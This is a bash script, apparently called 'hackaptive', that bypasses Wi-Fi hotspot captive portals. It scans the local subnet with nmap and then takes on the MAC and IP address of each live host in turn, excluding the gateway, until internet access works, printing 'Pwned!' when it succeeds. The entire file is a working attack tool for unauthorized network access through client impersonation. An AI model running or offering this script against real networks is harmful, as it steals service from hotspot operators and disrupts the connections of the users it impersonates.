#!/usr/bin/env bash

# Find the initial parameters of wireless interface.
interface="$(ip -o -4 route show to default | awk '/dev/ {print $5}' | head -n1)"
localip="$(ip -o -4 route get 1 | awk '/src/ {print $7}')"
wifissid="$(iw dev "$interface" link | awk '/SSID/ {print $NF}')"
gateway="$(ip -o -4 route show to default | awk '/via/ {print $3}')"
broadcast="$(ip -o -4 addr show dev "$interface" | awk '/brd/ {print $6}')"
ipmask="$(ip -o -4 addr show dev "$interface" | awk '/inet/ {print $4}')"
netmask="$(printf "%s\n" "$ipmask" | cut -d "/" -f 2)"
netaddress="$(sipcalc "$ipmask" | awk '/Network address/ {print $NF}')"
network="$netaddress/$netmask"
macaddress="$(ip -0 addr show dev "$interface" \
              | awk '/link/ && /ether/ {print $2}' \
              | tr '[:upper:]' '[:lower:]')"

# Check for running as root.
function check_sudo() {
  if [[ "$EUID" -ne 0 ]]; then
    printf "%b\n" "ERROR This script must be run as root. Use sudo." >&2
    exit 1
  fi
}

# Create a temporary folder for script work.
function create_tmp() {
  unset tmp
  tmp="$(mktemp -q -d "${TMPDIR:-/tmp}/hackaptive_XXXXXXXXXX")" || {
    printf "%b\n" "ERROR Unable to create temporary folder. Abort." >&2
    exit 1
  }
}

# Clean tmp/ on exit due to any reason.
function clean_up() {
  rm -rf "$tmp"
  trap 0
  exit
}

# Split up big networks into smaller chunks of /24.
function calc_network() {
  printf "%b\n" "Exploring network in \"$wifissid\" Wi-Fi hotspot."
  if [[ "$netmask" -lt 24 ]]; then
    sipcalc -s 24 "$network" \
    | awk '/Network/ {print $3}' > "$tmp"/networklist.$$.txt
    printf "%b\n" "Splitting up network $network into smaller chunks."
  else
    printf "%s\n" "$network" | cut -d "/" -f 1 > "$tmp"/networklist.$$.txt
  fi
}

routermac="$(nmap -n -sn -PR -PS -PA -PU -T5 $gateway | grep -E -o '[A-Z0-9:]{17}' | tr A-Z a-z)"

# Select network, set netmask, scan it for IP and MAC and hijack them. Repeat.
function main() {
  while read -r networkfromlist; do
    if [[ "$netmask" -lt 24 ]]; then
      network="$networkfromlist/24"
    else
      network="$networkfromlist/$netmask"
    fi

  # Scan selected network for active hosts.
  printf "%b\n" "Looking for active hosts in $network. Please wait."
  nmap -n -sn -PR -PS -PA -PU -T5 --exclude "$localip","$gateway" "$network" \
  | awk '/for/ {print $5} ; /Address/ {print $3}' \
  | sed '$!N;s/\n/ - /' > "$tmp"/hostsalive.$$.txt

  # Set founded IP and MAC for wireless interface.
    while read -r hostline; do
      newipset="$(printf "%s\n" "$hostline" | awk '{print $1}')"
      newmacset="$(printf "%s\n" "$hostline" \
                   | awk '{print $3}' \
                   | tr '[:upper:]' '[:lower:]')"

      if [ "$routermac" != "$newmacset" ]; then

            printf "%b\n" "Trying to hijack $newipset - $newmacset"
            ip link set "$interface" down
            ip link set dev "$interface" address "$newmacset"
            ip link set "$interface" up
            ip addr flush dev "$interface"
            ip addr add "$newipset/$netmask" broadcast "$broadcast" dev "$interface"
            ip route add default via "$gateway"
            sleep 1

            # Check if Google DNS pingable with our new IP and MAC.
            ping -c1 -w1 8.8.8.8 >/dev/null
            if [[ $? -eq 0 ]]; then
              printf "%b\n" "Pwned! Now you can surf the Internet!"
              exit 0
      fi

      else
            printf "%b\n" "Skipped $newipset - $newmacset"
      fi

    done < "$tmp"/hostsalive.$$.txt
    rm -rf "$tmp"/hostsalive.$$.txt
    printf "%b\n" "Suitable hosts not found. Checking another network chunk."

  done < "$tmp"/networklist.$$.txt
  rm -rf "$tmp"/networklist.$$.txt
  printf "%b\n" "No luck! Try again later or try another Wi-Fi hotspot."

  # Restore original MAC and IP.
  ip link set "$interface" down
  ip link set dev "$interface" address "$macaddress"
  ip link set "$interface" up
  ip addr flush dev "$interface"
  ip addr add "$ipmask" broadcast "$broadcast" dev "$interface"
  ip route add default via "$gateway"
}

# Functions start here.
trap clean_up 0 1 2 3 15
check_sudo
create_tmp
calc_network
main